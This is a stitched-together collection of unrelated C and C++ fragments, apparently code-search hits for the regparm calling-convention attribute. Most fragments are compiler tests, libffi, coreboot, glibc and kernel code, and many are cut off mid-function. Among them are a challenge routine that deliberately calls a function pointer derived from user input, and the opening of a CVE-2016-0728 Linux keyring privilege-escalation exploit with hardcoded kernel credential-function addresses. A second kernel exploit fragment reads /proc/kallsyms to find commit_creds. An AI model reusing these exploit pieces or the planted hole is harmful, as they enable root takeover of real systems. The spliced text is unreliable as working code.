static void
glitch_items(size_t index, unsigned int name)
{
    char buf[40] = { 0 };
    unsigned int item;
    void __attribute__((regparm(1))) (*fnptr)(unsigned int);

    printf("BZZZT!\n");
    if (fread_until(buf, '\n', sizeof(buf), stdin) == EXIT_FAILURE)
        return;
    if (cgc_strlen(buf) == 0 || strtou(buf, 16, &item) == EXIT_FAILURE)
        return;

    fnptr = (void *)(name | 0xf0000000);
    fnptr(item);
}

// RUN: %clang_cc1 -triple i386-unknown-unknown %s -emit-llvm -o - | FileCheck %s

__attribute__((regparm(3))) void f1(int a, int b, int c, int d);
// CHECK: declare void @f1(i32 inreg, i32 inreg, i32 inreg, i32)
void g1() {
  f1(41, 42, 43, 44);
}

struct s1 {
  int x1;
};
__attribute__((regparm(3))) void f2(int a, int b, struct s1 c, int d);
// CHECK: declare void @f2(i32 inreg, i32 inreg, i32 inreg, i32)
void g2() {
  struct s1 x = {43};
  f2(41, 42, x, 44);
}

struct s2 {
  int x1;
  int x2;
};
__attribute__((regparm(3))) void f3(int a, int b, struct s2 c, int d);
// CHECK: declare void @f3(i32 inreg, i32 inreg, i32, i32, i32)
void g3() {
  struct s2 x = {43, 44};
  f3(41, 42, x, 45);
}
__attribute__((regparm(3))) void f4(int a, struct s2 b, int c);
// CHECK: declare void @f4(i32 inreg, i32 inreg, i32 inreg, i32)
void g4() {

#include <asm/fixmap.h>
#include <asm/bitops.h>
#include <asm/mpspec.h>
#ifdef CONFIG_X86_IO_APIC
#include <asm/io_apic.h>
#endif	/* CONFIG_X86_IO_APIC */
#include <asm/apic.h>
#endif	/* CONFIG_X86_LOCAL_APIC */
#include <asm/traps.h>
#include <asm/tsc.h>

void *ipipe_irq_handler = __ipipe_handle_irq;
EXPORT_SYMBOL(ipipe_irq_handler);
EXPORT_SYMBOL(io_apic_irqs);
EXPORT_PER_CPU_SYMBOL(__ipipe_tick_regs);
__attribute__((regparm(3))) void do_notify_resume(struct pt_regs *, void *, __u32);
EXPORT_SYMBOL(do_notify_resume);
extern void *sys_call_table;
EXPORT_SYMBOL(sys_call_table);
#ifdef CONFIG_X86_32
extern void ret_from_intr(void);
EXPORT_SYMBOL(ret_from_intr);
extern spinlock_t i8259A_lock;
extern struct desc_struct idt_table[];
#else
extern ipipe_spinlock_t i8259A_lock;
extern gate_desc idt_table[];
#endif
EXPORT_PER_CPU_SYMBOL(vector_irq);
EXPORT_SYMBOL(idt_table);
EXPORT_SYMBOL(i8259A_lock);

#endif
    default:
      FFI_ASSERT(0);
      break;
    }
}


/** private members **/

/* The following __attribute__((regparm(1))) decorations will have no effect
   on MSVC - standard cdecl convention applies. */
static void ffi_prep_incoming_args_SYSV (char *stack, void **ret,
                                         void** args, ffi_cif* cif);
void FFI_HIDDEN ffi_closure_SYSV (ffi_closure *)
     __attribute__ ((regparm(1)));
unsigned int FFI_HIDDEN ffi_closure_SYSV_inner (ffi_closure *, void **, void *)
     __attribute__ ((regparm(1)));
void FFI_HIDDEN ffi_closure_raw_SYSV (ffi_raw_closure *)
     __attribute__ ((regparm(1)));
#ifdef X86_WIN32
void FFI_HIDDEN ffi_closure_STDCALL (ffi_closure *)
     __attribute__ ((regparm(1)));
#endif
#ifdef X86_WIN64
void FFI_HIDDEN ffi_closure_win64 (ffi_closure *);
#endif

/* This function is jumped to by the trampoline */

#ifdef X86_WIN64

  char s15[16];
  unsigned long s16;
} S5;

typedef struct
{
  char s15[48];
  S5 *s17;
} S6;

typedef struct
{
  S1 *s18;
} S7;

__attribute__((regparm (3), noinline)) int
fn1 (const char *x, void *y, S1 *z)
{
  asm volatile ("" : : : "memory");
  return *x + (y != 0);
}

__attribute__((regparm (3), noinline)) int
fn2 (const char *x, int y, S2 *z)
{
  asm volatile ("" : : : "memory");
  return 0;
}

static inline __attribute__ ((always_inline)) unsigned int
fn4 (unsigned short x)

      /*@[email protected]*/
      break;
#endif /* X86_WIN32 */
    default:
      FFI_ASSERT(0);
      break;
    }
}


/** private members **/

static void ffi_prep_incoming_args_SYSV (char *stack, void **ret,
					 void** args, ffi_cif* cif);
void FFI_HIDDEN ffi_closure_SYSV (ffi_closure *)
     __attribute__ ((regparm(1)));
unsigned int FFI_HIDDEN ffi_closure_SYSV_inner (ffi_closure *, void **, void *)
     __attribute__ ((regparm(1)));
void FFI_HIDDEN ffi_closure_raw_SYSV (ffi_raw_closure *)
     __attribute__ ((regparm(1)));

/* This function is jumped to by the trampoline */

unsigned int FFI_HIDDEN
ffi_closure_SYSV_inner (closure, respp, args)
     ffi_closure *closure;
     void **respp;
     void *args;
{
  // our various things...
  ffi_cif       *cif;

// RUN: %clang_cc1 -triple i386-unknown-unknown %s -emit-llvm -o - | FileCheck %s


// CHECK: _Z3fooRi(i32* inreg
void __attribute__ ((regparm (1)))  foo(int &a) {
}

struct S1 {
  int x;
  S1(const S1 &y);
};

void __attribute__((regparm(3))) foo2(S1 a, int b);
// CHECK: declare void @_Z4foo22S1i(%struct.S1* inreg, i32 inreg)
void bar2(S1 a, int b) {
  foo2(a, b);
}

struct S2 {
  int x;
};

void __attribute__((regparm(3))) foo3(struct S2 a, int b);
// CHECK: declare void @_Z4foo32S2i(i32 inreg, i32 inreg)
void bar3(struct S2 a, int b) {
  foo3(a, b);
}

struct S3 {
  struct {
    struct {} b[0];

 * and other provisions required by the GPL or the LGPL. If you do not delete
 * the provisions above, a recipient may use your version of this file under
 * the terms of any one of the MPL, the GPL or the LGPL.
 *
 * ***** END LICENSE BLOCK ***** */

/* Platform specific code to invoke XPCOM methods on native objects */

#include "xptcprivate.h"
#include "xptc_gcc_x86_unix.h"

extern "C" {
#ifndef XP_WIN32
static
#endif
void ATTRIBUTE_USED __attribute__ ((regparm(3)))
invoke_copy_to_stack(PRUint32 paramCount, nsXPTCVariant* s, PRUint32* d)
{
    for(PRUint32 i = paramCount; i >0; i--, d++, s++)
    {
        if(s->IsPtrData())
        {
            *((void**)d) = s->ptr;
            continue;
        }

        switch(s->type)
        {
        case nsXPTType::T_I64    : *((PRInt64*) d) = s->val.i64; d++;    break;
        case nsXPTType::T_U64    : *((PRUint64*)d) = s->val.u64; d++;    break;
        case nsXPTType::T_DOUBLE : *((double*)  d) = s->val.d;   d++;    break;

/* { dg-do compile { target i?86-*-* } } */
/* { dg-skip-if "" { i?86-*-* } { "-m64" } { "" } } */
/* { dg-options "-W -Wall" } */

/* Verify that GCC correctly detects non-matching regparm attributes.  */
int __attribute__((regparm(3))) f (void);  /* { dg-error "previous" } */

int __attribute__((regparm(2))) f (void) { /* { dg-error "conflicting" } */
  return 0;
}

   expected the callee to pop up the hidden return structure pointer,
   while callee was actually not poping it up (as the hidden argument
   was passed in register).  */
/* { dg-do run { target i?86-*-* } } */
/* { dg-options "-O2 -fomit-frame-pointer" } */

extern void abort (void);
extern void exit (int);

typedef struct {
   int a1, a2;
} A;

A a;

A __attribute__ ((regparm (2)))
foo (int x)
{
  return a;
}

int __attribute__ ((regparm (2)))
bar (int x)
{
  int r = foo(0).a2;
  return r;
}

int
main ()
{

DrawTriangleSpan(uint8_t *pixels, const uint8_t color,
                 int xs, int xe, int y)
{
  int n;

  n = xe - xs;
  pixels += xs;

  LOG("Line: (%d, %d..%d)", y, xs, xe);

  do {
    *pixels++ = color;
  } while (--n >= 0);
}

__attribute__((regparm(4))) static void
DrawTriangleSegment(PixBufT *canvas, EdgeScanT *left, EdgeScanT *right,
                    int ys, int h)
{
  uint8_t *pixels = canvas->data + ys * canvas->width;
  const uint8_t color = canvas->fgColor;
  int width = canvas->width;
  int ye = ys + h;

  for (; ys < ye; ys++) {
    DrawTriangleSpan(pixels, color, lroundf(left->x), lroundf(right->x), ys);

    pixels += width;

    IterEdgeScan(left);
    IterEdgeScan(right);

    $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall
    $ ./cve_2016_072 PP_KEY */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>

#include <sys/ipc.h>
#include <sys/msg.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*  
_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff810bb050)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff810bb370)



struct key_type {
	char * name;
     	size_t datalen;
     	void * vet_description;

  unsigned char state;
  unsigned char old = 0;
  while (ms>0)
    {
      outb(0x43,0);
      state = inb(0x40);
      ms -= (unsigned char)(old - state);
      old = state;
    }
}

/**
 * Print the exit status and reboot the machine.
 */
void __attribute__((regparm(1), noreturn))
__exit(unsigned status)
{
  const unsigned delay = 300;

  printf("\nExit with status %u.\n"
         "Rebooting...\n", status);

  for (unsigned i=0; i<delay;i++) {
    wait(1000);
    out_char('.');
  }

  printf("-> OK, reboot now!\n");
  reboot();
  /* NOT REACHED */

  TRAP_LIBNR, 0, (void (*)(void)) &gw_PostTimer
};

#elif defined( __amithlon__ )

/******************************************************************************
** Amithlon gateway functions *************************************************
******************************************************************************/

// A handy macro for fetching a little endian long integer from memory
#define GET_LONG(a) ({ long r; __asm__("movl %1,%0":"=r"(r) :"m"(a)); r; })

/* m68k_IndexToFrequency *****************************************************/

static LONG
gw_IndexToFrequency( struct Gadget *gad, WORD level ) __attribute__((regparm(3)));

static LONG
gw_IndexToFrequency( struct Gadget *gad, WORD level )
{
  return IndexToFrequency( gad, level );
}

struct
{
    UWORD movel_4sp_d0[2];
    UWORD movew_10sp_a0[2];
    UWORD movel_a0_d1;
    UWORD jmp;
    ULONG addr;
} m68k_IndexToFrequency =

/************************************************************************
 * Copyright (C) 2013 by Max Reitz                                      *
 *                                                                      *
 * This file is part of µxoµcota.                                       *
 *                                                                      *
 * µxoµcota  is free  software:  you can  redistribute it and/or modify *
 * it under the terms of the GNU General Public License as published by *
 * the  Free Software Foundation,  either version 3 of the License,  or *
 * (at your option) any later version.                                  *
 *                                                                      *
 * µxoµcota  is  distributed  in the  hope  that  it  will  be  useful, *
 * but  WITHOUT  ANY  WARRANTY;  without even the  implied warranty  of *
 * MERCHANTABILITY  or  FITNESS  FOR  A  PARTICULAR  PURPOSE.  See  the *
 * GNU General Public License for more details.                         *
 *                                                                      *
 * You should have  received a copy of the  GNU  General Public License *
 * along with µxoµcota.  If not, see <http://www.gnu.org/licenses/>.    *
 ************************************************************************/

#include <ipc.h>
#include <syscall.h>


void register_irq_handler(int irq, void (__attribute__((regparm(1))) *handler)(void *info), void *info)
{
    syscall3(SYS_HANDLE_IRQ, irq, (uintptr_t)handler, (uintptr_t)info);
}

/**
 * Find PEI executable in coreboot filesystem and execute it.
 *
 * @param pei_data: configuration data for UEFI PEI reference code
 */
void sdram_initialize(struct pei_data *pei_data)
{
	struct sys_info sysinfo;
	int (*entry) (struct pei_data *pei_data) __attribute__ ((regparm(1)));

	report_platform_info();

	/* Wait for ME to be ready */
	intel_early_me_init();
	intel_early_me_uma_size();

	printk(BIOS_DEBUG, "Starting UEFI PEI System Agent\n");

	memset(&sysinfo, 0, sizeof(sysinfo));

	sysinfo.boot_path = pei_data->boot_mode;

	/*
	 * Do not pass MRC data in for recovery mode boot,
	 * Always pass it in for S3 resume.
	 */
	if (!vboot_recovery_mode_enabled() || pei_data->boot_mode == 2)
		prepare_mrc_cache(pei_data);

	/* If MRC data is not found we cannot continue S3 resume. */
	if (pei_data->boot_mode == 2 && !pei_data->mrc_input) {
		printk(BIOS_DEBUG, "Giving up in sdram_initialize: No MRC data\n");
		outb(0x6, 0xcf9);
		halt();
	}

	/* Pass console handler in pei_data */
	pei_data->tx_byte = do_putchar;

	/* Locate and call UEFI System Agent binary. */
	entry = cbfs_boot_map_with_leak("mrc.bin", CBFS_TYPE_MRC, NULL);
	if (entry) {
		int rv;
		rv = entry (pei_data);
		if (rv) {
			switch (rv) {
			case -1:
				printk(BIOS_ERR, "PEI version mismatch.\n");
				break;
			case -2:
				printk(BIOS_ERR, "Invalid memory frequency.\n");
				break;
			default:
				printk(BIOS_ERR, "MRC returned %x.\n", rv);
			}
			die("Nonzero MRC return value.\n");
		}
	} else {
		die("UEFI PEI System Agent not found.\n");
	}

#if CONFIG_USBDEBUG_IN_ROMSTAGE
	/* mrc.bin reconfigures USB, so reinit it to have debug */
	usbdebug_init();
#endif

	/* For reference print the System Agent version
	 * after executing the UEFI PEI stage.
	 */
	u32 version = MCHBAR32(0x5034);
	printk(BIOS_DEBUG, "System Agent Version %d.%d.%d Build %d\n",
		version >> 24 , (version >> 16) & 0xff,
		(version >> 8) & 0xff, version & 0xff);

	/* Send ME init done for SandyBridge here.  This is done
	 * inside the SystemAgent binary on IvyBridge. */
	if (BASE_REV_SNB ==
	    (pci_read_config16(PCI_CPU_DEVICE, PCI_DEVICE_ID) & BASE_REV_MASK))
		intel_early_me_init_done(ME_INIT_STATUS_SUCCESS);
	else
		intel_early_me_status();

	report_memory_config();
}

#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

struct cred;
struct task_struct;

typedef struct cred *(*prepare_kernel_cred_t)(struct task_struct *daemon)  __attribute__((regparm(3)));
typedef int (*commit_creds_t)(struct cred *new) __attribute__((regparm(3)));

prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;

int uid, gid;

/* Find a kernel symbol in /proc/kallsyms */
void *get_ksym(char *name) {
    FILE *f = fopen("/proc/kallsyms", "rb");
    char c, sym[512];
    void *addr;
    int ret;

    while(fscanf(f, "%p %c %s\n", &addr, &c, sym) > 0) {
        if (!strcmp(sym, name))
            return addr;
    }
    return NULL;
}

/* This is the pattern-matching trick for older kernels. */

/* gw_initRoutine ************************************************************/

struct AHIBase*
gw_initRoutine( struct AHIBase*  device,
                APTR             seglist,
                struct ExecBase* sysbase )
{
  return initRoutine( device, seglist, sysbase );
}


/* gw_DevExpunge *************************************************************/

BPTR 
gw_DevExpunge( struct _Regs* regs ) __attribute__((regparm(3)));

BPTR 
gw_DevExpunge( struct _Regs* regs )
{
  struct AHIBase* device = (struct AHIBase*) GET_LONG( regs->a6 );

  return DevExpunge( device );
}


/* gw_DevOpen ****************************************************************/


ULONG 
gw_DevOpen( struct _Regs* regs ) __attribute__((regparm(3)));

#include <tlsdeschtab.h>

/* The following 4 functions take an entry_check_offset argument.
   It's computed by the caller as an offset between its entry point
   and the call site, such that by adding the built-in return address
   that is implicitly passed to the function with this offset, we can
   easily obtain the caller's entry point to compare with the entry
   point given in the TLS descriptor.  If it's changed, we want to
   return immediately.  */

/* This function is used to lazily resolve TLS_DESC REL relocations
   that reference the *ABS* segment in their own link maps.  The
   argument is the addend originally stored there.  */

void
__attribute__ ((regparm (3))) attribute_hidden
_dl_tlsdesc_resolve_abs_plus_addend_fixup (struct tlsdesc volatile *td,
					   struct link_map *l,
					   ptrdiff_t entry_check_offset)
{
  ptrdiff_t addend = (ptrdiff_t) td->arg;

  if (_dl_tlsdesc_resolve_early_return_p (td, __builtin_return_address (0)
					  - entry_check_offset))
    return;

#ifndef SHARED
  CHECK_STATIC_TLS (l, l);
#else
  if (!TRY_STATIC_TLS (l, l))
    {

    static const nsIID & GetIID ()
    {
    }
  };
}

class nsIDOMEvent:public nsISupports
{
};
class nsIDOMEventListener:public nsISupports
{
public:static const nsIID & GetIID ()
  {
  }
  virtual nsresult
    __attribute__ ((regparm (0), cdecl)) HandleEvent (nsIDOMEvent * event) =
    0;
};
class nsIDOMMouseListener:public nsIDOMEventListener
{
public:static const nsIID & GetIID ()
  {
    static const nsIID iid = {
    };
  }
  virtual nsresult
    __attribute__ ((regparm (0),
		    cdecl)) MouseDown (nsIDOMEvent * aMouseEvent) = 0;
};
typedef
typeof (&nsIDOMEventListener::HandleEvent)